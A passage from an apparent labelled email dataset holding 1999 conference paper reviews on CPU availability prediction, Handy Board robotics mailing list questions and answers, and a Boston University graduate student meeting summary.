student workstations and three departmental servers at UCSD. The author(s) report the mean error of the three methods during a 24 hour period, they continue by presenting the forecasting of CPU availability using the three methodologies, and conclude that the prediction error is at an acceptable level. Finally, they characterize the degree of workload self-similarity in both short and long term. Their conclusion that recent history is often a good prediction of short-term future is not surprising given the nature of burstiness of workload that has been reported by many previous studies on similar settings. My main reservation has to do with the general approach. Isn't it more useful to be able to predict how much time each of the executing jobs still needs to finish? It seems that being able to predict the remaining execution time of the job (in the same spirit as in the Harchol-Walter&Downey sigmetrics'96 paper) would be of great use to scheduling in a meta-computing setting. The analysis of the self-similar behavior (especially the long-term behavior) does not seem to be as relevant as the remaining execution time of the current jobs, especially when we are approaching the problem purely from the scheduling point of view. Characterization studies are by nature inductive, covering only one set of the possibilities. The referee's suggestion is that the authors should experiment more (i.e., looking at more machines of different types and at various time-frames -- could the reported results change from day to day?) to support better their conclusions and to give more validity to their observations. For instance, reporting only the mean error on measurements across the whole 24 hour period can be misleading -- at some observation instances, it is possible that errors are really high while at others errors are not as bad (e.g., it will be interesting to report the variance of the measurement errors on table 1). If such a situation occurs, the scheduler can be mislead. ----- Review of Paper 1035.5144 ------- Title: Predicting the CPU Availability of Time-shared Unix Systems Reviewer type : referee Reviewer: 2-0 Originality: [3] Technical merit: [3] Readability: [3] Relevance: [4] Overall rating: [3] Recommended Action: Weak Accept ---Comments for the Author--- (Summary of my understanding of the paper) This paper studies short (10 second horizon) and medium term (5 minute horizon) forecasting of the CPU availability of time-shared Unix systems. The authors begin by showing that CPU availability, by which they mean the percentage of the machine cycles that a potential new normal priority process would be served, can be accurately measured using information provided by the standard uptime and vmstat utilities under normal conditions. They introduce a hybrid sensor that performs more accurately when there are reduced priority processes, but find that it has difficulty detecting long-running processes. Next, they evaluate the one-step-ahead (10 seconds into the future) prediction error of prediction algorithms implemented in the Network Weather Service on a small collection of measurement traces with a 10 second granularity. The main result here is that the one-step-ahead prediction error is on par with the measurement error, which bodes well for using prediction. However, they find that their traces exhibit self-similarity (an effect noted by others), which leads them to believe that longer term prediction may be difficult. Happily, this does not appear to be the case, and they are able to make useful predictions of the average availability over the next five minutes. (Comments) I'm most impressed by the first part of the paper. Showing that one can (in most cases) accurately estimate the percentage of the CPU a new process would get from measurements of the load average and other metrics that are available at user-level is a useful contribution. Although the sample size from which the conclusion is drawn is somewhat small (six machines, 24 hours), the result jibes with my experience. Given the data, it is difficult to judge how useful the hybrid sensor is. The second part of the paper, which studies prediction, is less convincing. Although I am familiar with the prediction methods used in the Network Weather Service, I'm at a loss as to which of these is actually being studied in this paper. It is indeed very interesting that one-step-ahead (10 second) prediction errors for CPU availability are about the same as the measurement error. However, the authors don't offer an explanation for why this is so, and in the absence of a description of the prediction method, it is difficult for the reader to consider. Perhaps prediction decorrelates measurement error which results in some gain for short term predictions? It would be very useful to see what ""gain"" prediction provides over the raw variance of the signal. The point of prediction is to provide a more tightly bounded, high confidence estimate of future availability. I would like to see how much tighter the bounds are given prediction. The study of the autocorrelation structure of CPU availability and the confirmation of self-similarity is interesting. However, Section 3.2 addresses one-step-prediction errors for the series aggregated over 5 minutes, which is not exactly the ""medium term"" I was expecting from the abstract. I was expecting an analysis of k-step-ahead errors on the original series. It isn't too surprising that the aggregated series doesn't become vastly less predictable. Suppose the prediction error for k-ahead is N(0,s_k), then prediction error for the n step ahead aggregate is N(0,sqrt(sum(s_k^2,k=1..n))), which for s_k=S is N(0,sqrt(n)*S) - ie, the error grows as O(sqrt(n)) with aggregation level n. Of course, how true this analysis is depends on how white and normal the prediction errors are, which isn't explained. (Minor nitpicks) pp. 2, last line: chaotic systems are not the simplest systems that display self-similarity - let's not throw out fractional ARIMAs, FGNs, etc. just yet. Furthermore, they are not necessarily unpredictable. See, for example: @Book{ABARBANEL-CHAOTIC-DATA-BOOK, author = ""Henry Abarbanel"", title = ""Analysis of Observed Chaotic Data"", publisher = ""Springer"", year = ""1996"", series = ""Institute for Nonlinear Science"", } pp. 4: While the image of grad students devoting themselves to research at the end of the semester was hilarious, I would have prefered to also have a more detailed description of the machines and workloads. Furthermore, from your description, it seems like the data is really representative of your department's end-of-the-semester behavior, not the overall behavior. Reporting absolute error as a percentage is confusing. I know what you meant, but I had to keep reminding myself. I really would have liked to see a comparison of prediction error and the variance of what was being predicted. pp. 9: I believe that this known as a multiple experts problem in AI. You may want to look at @InProceedings{ON-LINE-LEARNING-MTS-PROCESS-MIGRATION-CBURCH-COLT97, author = ""Avrim Blum and Carl Burch"", title = ""On-line Learning and the Metrical Task System Problem"", pages = ""45--53"", booktitle = ""Proceedings of the 10th Annual Conference on Computational Learning Theory ({COLT} '97)"", year = ""1997"", } pp. 12: I would really avoid dragging in chaos when it may not be necessary. The simplest self-similar systems are not chaotic, and many chaotic systems are predictable. Using graphs instead of tables would help the presentation considerably. Some refs you may want to consider adding: @Article{WORKSTATION-AVAIL-STATS-CONDOR, author = ""Matt W. Mutka and Miron Livny"", title = ""The Available Capacity of a Privately Owned Workstation Environment"", journal = ""Performance Evaluation"", year = ""1991"", volume = ""12"", number = ""4"", pages = ""269--284"", month = ""July"", } @TechReport{DINDA-LOAD-PRED-TR-98, author = ""Peter A. Dinda and David R. O'Hallaron"", title = ""An Evaluation of Linear Models for Host Load Prediction"", institution = ""School of Computer Science, Carnegie Mellon University"", year = ""1998"", number = ""CMU-CS-TR-98-148"", month = ""November"", } @Unpublished{PRED-BASED-SCHED-DIST-COMP-SAMADANI-UNPUB-96, author = ""Mehrdad Samadani and Erich Kalthofen"", title = ""On Distributed Scheduling Using Load Prediction From Past Information"", note = ""Abstracts published in Proceedings of the 14th annual {ACM} Symposium on the Principles of Distributed Computing (PODC'95, pp. 261) and in the Third Workshop on Languages, Compilers and Run-time Systems for Scalable Computers (LCR'95, pp. 317--320)"", year = ""1996"", } ----- Review of Paper 1035.5144 ------- Title: Predicting the CPU Availability of Time-shared Unix Systems Reviewer type : PC member Reviewer: 3-0 Originality: [2] Technical merit: [2] Readability: [3] Relevance: [2] Overall rating: [2] Recommended Action: Weak Reject ---Comments for the Author--- In this paper, the authors study the problem of making short term and medium term forecasts of CPU availability on time-shared UNIX systems. The authors show that (a) simple techniques are reasonably effective in predicting short-term CPU loads/availability (b) CPU load traces exhibit self-similarity. The authors claim that conclusion (a) above is surprising. On the other hand, most of the classical studies on load-sharing in distributed systems (the Eager, Lazowska, Zahorjan paper for example) take for granted that current load is a reasonable indicator of load in the near future. While the authors have studied the problem of short term load prediction more thoroughly, in my opinion, they have merely confirmed the conventional wisdom. The fact that the authors work is motivated by ""application level scheduling"" for parallel programs -- as opposed to load sharing in distributed systems -- does not affect the problem of load prediction. As to conclusion (b) above regarding self-similarity, the authors state that self-similar behavior does not seem to affect the effectiveness of short-term load prediction. As such, this result seems to have no ramifications for cpu scheduling, etc. At this stage, when all kinds of computer systems phenomena (file traffic, network traffic, etc.) have been shown to self similar, yet another self similarity result is not interesting by itself. Some other concerns/comments: 1) Both the measurement techniques presented in the paper appear to not work in certain situations -- as pointed out by the authors. Another situation in which the ""NWS-hybrid"" technique will probably be inaccurate is when the host being measured is running I/O intensive applications. 2) The authors analysis is based on a single 24 hour period. They should verify their results for additional days. Overall, I believe that while this paper is interesting, its research contribution is small. ----- Review of Paper 1035.5144 ------- Title: Predicting the CPU Availability of Time-shared Unix Systems Reviewer type : PC member Reviewer: 4-0 Originality: [2] Technical merit: [3] Readability: [3] Relevance: [3] Overall rating: [3] Recommended Action: Weak Accept ---Comments for the Author--- Summary: The paper show how simple estimates of future CPU availability can be based on past behaviour with suprising accuracy. The show that both the next 10 seconds and the next 5 minutes estimates to be in error by about 10% for several unix workstations. The authors claim that such information will be helpful in guiding metacomputing scheduling decisions. Comments: - I question whether a 5 minute window is really very useful for metacomputing. This is my major objection to the paper. In a local area network with a fast interconnect this may be fine, but in a distributed system the overhead to start a remote computation may require a good estimate for a longer window of time. - The proposed techniques in this paper seem to be only an epsilon contribution beyond those in references 29-31. ----- Review of Paper 1035.5144 ------- Title: Predicting the CPU Availability of Time-shared Unix Systems Reviewer type : referee Reviewer: 5-0 Originality: [2] Technical merit: [2] Readability: [3] Relevance: [3] Overall rating: [2] Recommended Action: Weak Reject ---Comments for the Author--- (Minor nitpick about the paper's submission process: it was all but impossible to not figure out who wrote the paper, given their repeated mention of UCSD and the previous NWS work, and their direct citation of the NWS stuff by Wolski et. al. Oops! No matter.) Generally, this paper is good. I believed the premise, and it did a fine job of treating both the strengths and the weaknesses of the approach. This adds credibility to the work. But, there are three big weaknesses to this paper, in my opinion: 1. The paper promises to on their availbility prediction mechanisms and the efficacy of their approach. About 1/2 the paper delivers on this, but more than 7 pages are devoted to a self-similarity philosophical discussion. While there is some place for this in this paper, I think it needs to be greatly reduced in emphasis, as it distracts and detracts from the overall message of the paper. Also, there are some technical problems with their self-similarity discussion: a. All of the self-similarity measurement tools they mention (e.g. Pox plots) depend on the process being measured exhibiting stationarity (i.e. the average of the time series doesn't change over time). Even the definition of self-similarity depends on this feature. CPU load is likely stationary over millisecond to many minutes or small number of hours time scales, depending on the nature of the jobs being run, but stationarity almost certainly goes out the window in day or more time scales, given that daily cycles and such kick in. It's not meaningful to talk about self-similarity given non-stationary processes. b. Use Occam's razor: is self-similarity and long-term autocorrelation the simplest abstraction to use to talk about what's going on in figures 1 and 2, or are very human effects like specific long-term jobs being launch dominating these pictures? 2. Nearly no discussion is given to how this tool is going to be used, or what sorts of systems will be studied with it. The authors directly admit (as they correctly should) that the accuracy of their predictions varies greatly with the nature of the jobs being run on the machines under observation, and the predictions can be tuned if the nature of the jobs are somewhat known. Right now, the paper implicitly spins the tool as a general-purpose prediction tool, but as such, it will perform poorly given the huge number of special-case jobs that break the assumptions of the tool. Should this tool be used to load balancing of processes in a dedicated cluster-of-workstations doing a fine-grained parallel job? (Certainly not, given the 10 second prediction granularity.) Will it be used for the one-time selection of an unloaded host to batch-execute a job on? What other sorts of applications are relevant and non-relevant for this tool? Will many users of a shared collection of CPUs be using this tool? If so, will they all pounce on the least-loaded CPU every cycle, instantly making it the most loaded CPU and thereby introducing nasty feedback effects like in naive transport congestion control or routing implementations? Or, is the tool intended for a single user of a dedicated pool of resources? These sorts of questions and usage models need to be addressed, and either explicitly dealt with or explicitly dismissed as out of the scope of the paper. 3. I'm a big fan of demonstrating the effectiveness of a tool by using it in a real situation, and telling anecdotal or measurement evidence of how well it performed for the real-world task. This sort of stuff should be added to the paper, I think. Show me interesting observations that you could make that were enabled by the use of your system. Some other nitpicks: - it's only briefly mentioned in a single sentence in the second paragraph of page 5 that the prediction interval is for the subsequent 10 seconds of CPU time. All of the graphs and tables should explicitly declare this sort of relevant time quantum that pertains to the data presented. It's too easy to make false assumptions about what's being reported otherwise. - I don't like how the measurement errors are presented in the tables. Assume that the measured CPU availility is 80%, and the predicted availability is 10%. Is the measurement error supposed to be: error = (80%/10%) = factor of 8 = 800% (relative) error error = abs(80%-10%) = 70% (absolute) difference error Obviously equations 4 and 5 suggest the latter, but if percentages are reported in an error, that usually means the error reported is a relative number. Just looking at the tables, I mistakenly assumed the former while quickly scanning through the paper. - Are there other timescales of interest other than 10seconds? Can the system be easily modified to report other timescales for prediction, or multiple timescales (optimally)? - what other systems are there that attempt to do this sort of prediction? How does your system stack up to theirs, and why? There is currently __no__ related work presented in this paper, which is a huge hole.",0,0 FEDERICO SANTELLO ,handyboard@media.mit.edu,"Fri, 19 Feb 1999 22:25:02 +0100",Type conversion.,"Hi to all. I'm not very practice with IC. My answere are , how can i convert a integer number to a floating point number? I want to make a moltiplication between an intger number and a floating. I make this: int temp; float dtemp; dtemp=temp*3.5; But when i try to download i've an error type not compatible. Thank Federico Santello. E.mail: fedsante@tin.it ",0,0 Clancy Nelson ,Duncan Orthner ,"Thu, 19 Feb 1998 15:39:29 -0600",Expansion board test code,"Duncan, The expansion board test code you sent worked quite well, It was very useful in testing and trouble shooting my expansion board. Thanks, Clancy ",0,0 Robert Pitts ,info@gso.bu.edu,"Fri, 19 Feb 1999 17:22:19 -0500","GSO - summary of Thu, Feb 18, 99 meeting","Here is a summary of what we did at yesterday's Graduate Student Organization meeting. Our next general meeting will be on Thursday, March 4th, 5:30-6:45pm. --Rob Summary ======= 1. Committee Reports Funding Committee ================= Ann Walker reported for this committee. They reinterated a few points concerning the Harvard pay rates they sent out earlier via e-mail, namely: - Harvard's overall student stipend pay rate is higher (since there is no disparity between their Sciences and Humanities). - Harvard's stipends are paid out over 10 months--although this means a lower monthly rate than they would have on an 8 month system (like BU), the main issue is how much students make each year (since rent, bills, etc. are year-round). One committee member has looked into the issues of Mentoring and Grievances by talking to their dept's Director of Graduate Studies. From that discussion, they learned: - BU does nothing to foster mentoring (though there may be documents saying that students should have an ""advisor""). - BU has no method of dealing with grievances for grads, except in cases of ""discrimination"". - One way of dealing with the mentoring issues is to produce a ""handbook"" on mentoring. - It was suggested that they provide statistics to the BU administration in order to prompt changes in Mentoring and Grievance policies. To that end, they are considering surveying graduate students (there is apparently not enough information on this topic from our last survey, Spring 1998). ----- A meeting attendee suggested that if there is a need to do such a survey, they should coordinate it with other GSO committees that would benefit from grad feedback (on their own topics). Others suggested that we should seek help from those experienced with doing real-world surveys (e.g., social scientists), so that the survey is very ""valid"". The main motivation for getting this ""professional"" help is in the need to use the survey to justify changes to the administration. In contrast, our first survey (last Spring 1998) was mainly for informing the GSO and graduate students. Healthcare Committee ==================== Jill Orofino gave the main report for this committee with some additional information from Rob Pitts . 1. A write-up of Northeastern University's student insurance plan, a Chickering plan, is now on the Healthcare Pages at http://gso.bu.edu. Major properties of the Northeastern plan are: - Cost for grads is $841 for 98/99. This includes an extra campus health services fee that is covered by tuition for undergrads. - There is no coverage for part-time students (< 9 credit hours), or dependents of *any* student under the policy. Nor can any of these groups use the campus health center (they can't pay the extra fee to do so). - Coverage for services at preferred providers is usually 100%, although there are dollar limits to certain classes of services. - Their campus health center does mainly primary care, and refers out when a specialist is needed. 2. During the Northeastern research, they also learned that BU's Chickering plan has a provision for extending insurance after graduation (some details added to the BU write-up). Further details will require more research. 3. They are beginning to plan a brown bag lunch talk, which would take place later in the semester and would involve inviting a representative from Chickering. Issues relevant to planning that talk are: a. What kind of focus/format should the talk have? What kinds of questions would you like to hear the representative address? (Those at the meeting expressed interest in ways to extend the BU Plan, i.e. might a dental or vision option be added the the basic plan if students wish to purchase it? Those at the meeting also expressed interest in knowing Chickering's stance on preventative medicine: Could the plan cover yearly physicals, etc.?) b. Should we invite undergraduates to the talk (they're on the plan as well and might benefit from some information)? (Someone mentioned they believed that Chickering already gave a talk specifically for undergraduates (sponsored by the undergraduate student government) this semester.) 4. Comments on their suggested edits to the NAGPS's national healthcare survey questions have been positive, though the mailing list on which different GSAs are discussing it has not been highly active. The deadline for a final version of the survey has not been finalized, but is supposedly ""soon."" ----- To add more information to the question last time about why Chickering is prevalent at many schools, they mentioned the following: The Northeastern University campus health center mainly provides primary care (i.e., doesn't have many specialists), which is the same for BU and Tuft's campus health centers (both of those schools also have Chickering insurance). In contrast, Harvard and MIT have full-service campus health centers and offer student plans with Blue Cross Blue Shield. An employee of Northeastern's campus health center also said that Chickering is prevalent throughout the country for schools. Someone suggested that the prevalence of Chickering is probably because they specialize in ""student insurance"" products. Housing Committee ================= Doug Wright reported for this committee. They've talked with Off-Campus Housing about getting new students (without BU computer accounts) access to the office's listings on the web. They also talked with Information Technology (IT), which provides Off-Campus Housing with the computer support to maintain their listings. They learned that those 2 offices are trying to add access for new undergraduates, but haven't completed that yet. The impression the committee got is that it is not a high priority for Off-Campus Housing or IT. They plan to continue to pursue the issue with those offices. ----- A meeting attendee mentioned that bringing the access problem to the attention of one of the deans might help speed up the process. Someone pointed out that access is more important to grads since they don't really have dorm options. The committee added that when they talked to BU's Rental Properties Office last semester, that office mentioned they hoped that when the new undergraduate dorm (at the old Armory site) is completed, that would leave more rental properties open for grads. Meeting attendees thought that was unlikely to happen, i.e., rental properties would still go very quickly. Liaison Committee ================= This committee did not report. Social Committee ================ Amy Tapper reported for this committee. They reiterated that the first social event of the semester (Happy Hour at Ri Ra's) went very well with approximately 50 attendees. For future reference, the logistic problems incurred with running this event were: - GRS didn't give enough money for snacks (they offered less than they used to for Pub Nights--the committee will pursue getting it back up to the usual amount). - When they called Ri Ra's ahead of time, they were told that Happy Hour priced appetizers would be available, but that was not the case when they arrived. - The waitress kept tabs for tables and said that students could not pay for drinks as she served them. This made paying bills more difficult when some students at a table wanted to leave before others. As possible solutions, it was suggested to have students only buy drinks from the bar or to talk to the management about the desired billing method before the event. - They now know to include ""Sponsored by the Graduate Student Organization"", with relevant web and e-mail addresses, for future event announcements (recall this committee has new members this semester). As for their next monthly event, they provided the following tentative details: - The event will be candlepin bowling at Ryan Family Amusement Center (adjacent to Fenway Park). - Proposed date and time are Tuesday, March 23 at 7pm. - Costs of bowling there are: $2.40/game, $1.25 for shoes. - They would like to buy pizza if GRS gives them money. - They'll invite students to Boston Beerworks (across the street from the bowling alley) after bowling. Steering Committee ================== Their report consisted of a presentation/discussion of the articles in the ""Constitution, Bylaws, etc."" section below. 2. Constitution, Bylaws, etc. Jen Wenner presented revisions of the ""Purpose"" article. Attendees discussed this revised list of ""purposes of the GSO"" and suggested some edits. The group set a deadline of the next general meeting (March 4th) for finalizing the ""Purpose"" article. Kendra Carter presented the ""Committees"" article. There was little time to discuss this article, but there was enough for a quick review of the first 4 proposed committees. - There was some discussion about how the proposed Publicity Committee might only ""assist"" other committees in some cases. For example, that it was ok if the Social Committee produced their own flyers and the Publicity Committee helped distribute them. In other words, other committees might do some publicity work, when appropriate. - The description of the Liaison Committee sparked the most discussion. Attendees where very interested in spelling out the responsibilities of liaisons in representing the group opinion. They also wanted to revise wording about how liaisons would be chosen. We'll continue the discussion of Committees at the next general meeting. The Steering Committee will provide revisions of articles based on this discussion and e-mail feedback in separate e-mail.",0,1 Nick Taylor ,handyboard@media.mit.edu,"Fri, 19 Feb 1999 14:40:53 -0800",Re: Type conversion.,"FEDERICO SANTELLO wrote: > My answere are , how can i convert a integer number to a floating point > number? > int temp; > float dtemp; > > dtemp=temp*3.5; > > But when i try to download i've an error type not compatible. Federico - - Try doing it this way: (it's called a ""cast"") int temp; float dtemp; temp = 5; dtemp = (float)temp*3.5; printf(""dtemp=%f\\n"",dtemp); Enjoy, - - - Nick - - -",0,0 """K.L.McKinnon"" ",michaelj@wt.net,"Fri, 19 Feb 1999 17:37:09 -0500",Re: color sensors,"I believe that you will find that most photo transistors are sensitive to a very narrow range of frequencies, mostly in the IR range. OTOH a photo resistor is sensitive to a much wider range of frequencies and may be usable with a (colour) filter. K.L. McKinnon Mike Jones wrote: > > >I wonder whether there are some phototransistors out there that have peak > >sensitivity to a small range of the visible spectrum. Preferably to ""one > > >color"". Can anyone fill in here? > > What about putting different color filters in front of a photo transister, like > you would on a camera. You could then enhance certain colors by filtering out > the others. You may have to deal with some reduction in sensitivity but it may > be worth a try. > > Mike ",0,0 Duncan Orthner ,handyboard@media.mit.edu,"Fri, 19 Feb 1999 18:37:03 -0500",Re: Type conversion.,"At 10:25 PM 2/19/99 +0100, you wrote: >My answere are , how can i convert a integer number to a floating point >number? Hi, what you want to do is called type casting,ie. you must explicitly specify the type. I've included some sample code that uses it. Because the beeper function expects a float but the knob function returns an integer, you have to modify the value to a float. ie. /* adjusts the frequency of the buzzer with the knob */ void main() { float h=0.0; while(1){ printf(""Press start to adjust pitch...\\n""); start_press(); printf(""Stop to quit\\n""); while(1) { h=(20.0*(float) knob()); <--see here if (h<20.0){ h=20.0; } set_beeper_pitch(h); beeper_on(); if (stop_button()) { beep(); break; } } } } Hope this helps, Duncan",0,0 DjKOz97@aol.com,handyboard@media.mit.edu,"Fri, 19 Feb 1999 18:56:06 -0500",RE: Linx technologies RF modem,"I managed to speak with one of Linx's applications engineers- He said that a couple of the guys over there are using the Linx modules to communicate with HC11's, so interfacing the kit with the handyboard shouldn't be much of a problem. He said I can have my faulty receiver module replaced free of charge. The new HP series modules, by the way, are the same price as the old ones. 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",1,0 Ranjit Diol ,HandyBoard MIT ,"Fri, 19 Feb 1999 20:08:18 -0500",msleep function in ICC11?,"I have a HB w/exp brd and a PortMaster (a stock board with a 68HC11E1, 68HC24 port expansion and 32k ram). I'm programming the HB with IC3.2 and the PortMaster with ICC11v5. I am hung up trying write a funtion similar to the HandyBoard 'msleep' using ICC11. Any help will be appreciated. -- Ranjit Diol - COMPSys Dowagiac,Michigan e-mail: rsdiol@mich.com website: http://www.compsys1.com ",0,1 Chuck McManis ,"Ranjit Diol , HandyBoard MIT ","Fri, 19 Feb 1999 17:44:23 -0800",Re: msleep function in ICC11?,"You can't use the one in the library I wrote? (its available on the iccll web site) Basically msleep spin locks on the timer waiting for systicks to increment the appropriate number of milliseconds. If you aren't using my code you can do the same thing by appropriating one of the timers (OC5 is useful for this) set its interrupt service routine to bump a count then write msleep to watch the count. --Chuck At 08:08 PM 2/19/99 -0500, Ranjit Diol wrote: >I have a HB w/exp brd and a PortMaster (a stock board with a 68HC11E1, >68HC24 port expansion and 32k ram). I'm programming the HB with IC3.2 >and the PortMaster with ICC11v5. I am hung up trying write a funtion >similar to the HandyBoard 'msleep' using ICC11. > >Any help will be appreciated. > > > >-- >Ranjit Diol - COMPSys >Dowagiac,Michigan >e-mail: rsdiol@mich.com >website: http://www.compsys1.com > > ",0,1 Mitchel Resnick ,play99@media.mit.edu,"Fri, 19 Feb 1999 20:41:53 -0500",next Tuesday's class,"Next Tuesday's class will focus on ""toys and learning"" with special focus on ""learning through design"". We will spend part of the class time playing with and analyzing different types of construction kits. There are several things that you should do in preparation for the class: (1) Do the readings (listed on the class Web site http://el.www.media.mit.edu/classes/play99/). We handed out two of the readings at the last class; the other three readings have links on the class Web site. If you didn't get the handouts, you can get copies from Greg Tutton in room 020A (in the Cube). As you do the reading, make note of passages that you find particularly provocative, and come to class ready to discuss them. (2) If you have never played with our Cricket technology, borrow a kit from Fred Martin (fredm@media.mit.edu) or Bakhtiar Mikhak (mikhak@media.mit.edu), and play around with it (e.g., build and program a kinetic sculpture). (3) Develop a ""concept map"" that organizes/categorizes the toy ideas that you all handed in last time (and send a URL of your concept map to the class mailing list). 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Also, what if I wanted to put HP RX/TX on two robots plus host computer, I wonder how this might work? The HPs have eight binary selectable channels, but switching sounds like a hassle. Presumably some protocol could be written so they could all talk on the same channel, a multidrop system where each node has a unique ID and they only transmit one at a time. The protocol could queue requests and prevent collisions. Anybody have such a beastie? BTW I find it odd that Linx doesn't sell integrated transceivers, just separate TX and RX modules. You'd think many applications would want both. Doug PS. I have a patriot scientific PSC1000 eval board here, it's a 100Mhz RISC CPU for <$10 in volume that has low power consumption, can address 4GB of memory and can run Java natively, also C and FORTH. I think the PSC1000 would make an excellent robotic platform. Check out the data sheet of this kit: http://www.ptsc.com/downloads/psc1000/evalcard/Docs/evaldes.html Another eval kit is on the way soon that is an NC (network computer) test platform, it with have ethernet onboard, VGA outputs, all of the standard things you'd need for an NC. This will make the networking code a lot simpler and more powerful, plus pass-by-value objects eventually. Things that make you go hmmmm ... especially considering this: http://www.dalsemi.com/News_Center/Press_Releases/1999/prjini.html Using these on module actuators/sensors would allow them to join the onboard network automatically and federate to remote hosts. The PSC1000 could be the main controller. I hope to prototype this. But I'm not really a hardware guy ... definitely need some help on circuit design. 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I followed the directions on the web page, added the capacitor on C7 and still, when using the function SONAR_DISPLAY() I get values ranging from about 400 to 600, with no apparent consistency. (readings which are wrong when converted to distance) I tried using one in ten readings or averaging one in three or more, but except for a random spike every now and then, there is no change. I would appreciate any advice or help, Thanks in advance, Guy. ",0,0 Simon Schulz ,handyboard ,"Sat, 20 Feb 1999 15:17:10 +0100",how to use a 4*20 Display with the HB,"HI, I'd like to use a 4*20 display, and i think i have to rewrite the pcode.... Have someone done it already for a 4*20 display ? if, someone have ,can you send the pcode to me ? or can someone give me instructions how to change the code ? thank You in advance. Simon ",0,0 Will Bain ,Handyboard Mailing List ,"Sat, 20 Feb 1999 10:59:40 -0700",Re: Linx technologies RF modem,"doug@knowpeace.com wrote: > PS. I have a patriot scientific PSC1000 eval board here, > it's a 100Mhz RISC CPU for <$10 in volume that has > low power consumption, can address 4GB of memory and > can run Java natively, also C and FORTH. I think the > PSC1000 would make an excellent robotic platform. > Check out the data sheet of this kit: > > http://www.ptsc.com/downloads/psc1000/evalcard/Docs/evaldes.html I did some reading about the new PSC1000 CPU, and it seems like the ideal next step in the evolution of hobby/research robot controllers. I especially like the support for Java and networks. Not being a hardware expert myself, I wouldn't know how to design a new board either, but I would be first in line to buy a board based on this chip. -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, The real problem is not whether machines think, Will Bain, but whether men do. & Tatoosh --B. F. Skinner",0,1 Will Bain ,Handyboard Mailing List ,"Sat, 20 Feb 1999 11:09:41 -0700",Re: Polaroid Sonar problems,"Guy wrote: > I followed the directions on the web page, added the capacitor on C7 and > still, when using the function SONAR_DISPLAY() I get values ranging > from about 400 to 600, with no apparent consistency. (readings which are > wrong when converted to distance) The numbers you're getting may correspond to the length of the blanking interval, which would suggest that the transducer is still ringing when blanking ends. You might try increasing the blanking interval so that you're sure to register an echo instead of a reverberation of the ping. It's a long shot, but it might help. Best of luck to you! -- Will P.S.--Quite a few people have mentioned returning the average of a series of sonar readings, but I think that when you get your sonar working properly, you'll find that the median is more useful. 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I'm looking to use the handyboard to connect six sonar sensors to my pc via the parallel port. I'm using C to talk to and readback from the parallel port. The sensors can be fired and read in sequence, as long as they can be fired and read back quickly. I'm using the sensors to grid out a room in order to locate people in a space and track their movements. The space is typically about 12' long. I'm not a hardware expert, but am somewhat adept at building circuits. Therefore, as much detail on how to handle and build this interface would be helpful. Thanks, Elliot Anderson Elliot Anderson Adjunct Professor, Electronic Media, Art Department University of California, Santa Cruz http://www.sirius.com/~ewanders ",0,1 Laszlo Roska ,Carlos Puchol ,"Sat, 20 Feb 1999 16:28:40 -0500",Re: asm -> icb,"try the web based one at http://www.newtonlabs.com/ic/icb.html Carlos Puchol wrote: > > hi, > > looks like i cannot find the shell script (as11_icb) that > assembles an asm file and packs it into an icb file. > in theory it should be with the pcode source distribution > but it doesn't seem to be there. i'm sure i am missing something. > > could someone point me to it? > > thanks in advance, > > --carlos > _________________________________________________________ > DO YOU YAHOO!? > Get your free @yahoo.com address at http://mail.yahoo.com ",0,1 Max Davies ,Laszlo Roska ,"Sat, 20 Feb 1999 17:19:08 -0500",Re: asm -> icb,"> Carlos Puchol wrote: > > looks like i cannot find the shell script (as11_icb) that > > assembles an asm file and packs it into an icb file. The assembler is available at http://WWW.CAM.ORG/~mdavies/HB/asm.htm One word of caution: it doesn't seem to work for really-really small programs like you might try for your first test. It seems like you have to have a hundred bytes or so of code before it gives correct results. Try assembling some known-to-work source code if you need to convince yourself that it works. /Max ",0,1 hacke@icns.com,handyboard@media.mit.edu,"Sat, 20 Feb 1999 16:46:20 -0500",Re: RF VIDEO?,">Does anybody out ther have RF wirless video on there 'BOT >I want to construct a wirless video transmitter that will send a >signal to a near by monitor or computer.. but not the high powered >ones that require a FCC license. any suggestions would be helpful. You can get an Audio/Video transmitter that uses UHF from Marlin P. Jones (www.mpja.com) for $18.95. It has standard RCA female inputs for 1V P/P Video @ 75 ohms and .1-1V RMS audio @ 600 ohms (they sell an audio board for $3.95). Both run on 12V. Output is set to channel 16, so you either need a TV or TV tuner for your PC. The transmitter is #11064-TV, and the audio board is #11534-ST. (pages 34 and 135 in their catalog 98-12). Have fun! Keith Hacke Stl Louis, MO. ",0,0 Ian Hojnicki ,Handyboard ,"Sat, 20 Feb 1999 16:41:14 -0600",Sonar Sensors,"Ok... both of my sonars are now fully functional and clicking like they should... I took the test prgram from the website and changed some of the values to make it use D3 for the other sensor... Here is my problem though... When I output the values from the sensors to the LCD display, they appear to be random numbers... Any clues as to what is wrong??? Any suggestions would be appreciated... Ian ",0,0 Amit Bhavsar ,handyboard@media.mit.edu,"Sat, 20 Feb 1999 18:46:49 -0400",unsubscribe,"I would like to get off the handy board list for a few days. I am having some email Overflow problems thanks you =) take care Amit Bhavsar ",0,0 Saul Griffith ,play99@media.mit.edu,"Sat, 20 Feb 1999 19:24:49 -0500",toptentoys,"I came a little late into this class, so finally my list of top ten toys and general toy philosophy: http://www.media.mit.edu/~saul/classes/pop.html Saul Griffith. ",0,1 """Graham, J. Todd"" ",Handyboard ,"Sat, 20 Feb 1999 18:32:32 -0600",IR output,"What type of IR component do I need to attach to the Handyboard to allow the IR output to function? Searching the FAQ and documentation only showed the connection circuit up to the point of the header strip. I assume it wouldn't be the same as the Sharp IS1U60 demodulator. And, BTW, a big thanks to Max Davies for his IR input routines and web page that allows easy configuration of the IR input from a remote! Todd ",0,0 """Fred G. Martin"" ",Amit Bhavsar ,"Sat, 20 Feb 1999 19:58:09 -0500",Re: unsubscribe ,"dear amit (& others), sending messages to ""handyboard"" will NOT get you removed from the list. The only way to get removed from the list is to read the instructions and follow them. These instructions may be found at http://el.www.media.mit.edu/projects/handy-board/maillist/ good luck. this may be a challenge. i wish you well. you were successful in getting subscribed, so i have high hopes you will figure out how to get unsubscribed. Fred In your message you said: > I would like to get off the handy board list for a few days. I am having > some email Overflow problems > thanks you =) > > take care > > Amit Bhavsar > > ",0,1 MAR ERICSON ,"""Graham, J. Todd"" ","Sat, 20 Feb 1999 22:43:03 -0500",Re: IR output,"You can connect an IR LED to it. Maybe you may need a series resistor to limit the current through it as well. Basically, the IR LED acts as a transmitter (the same round thing in front of your remote). The demodualator is not a transmitter...it is a receiver. ----------- ericson 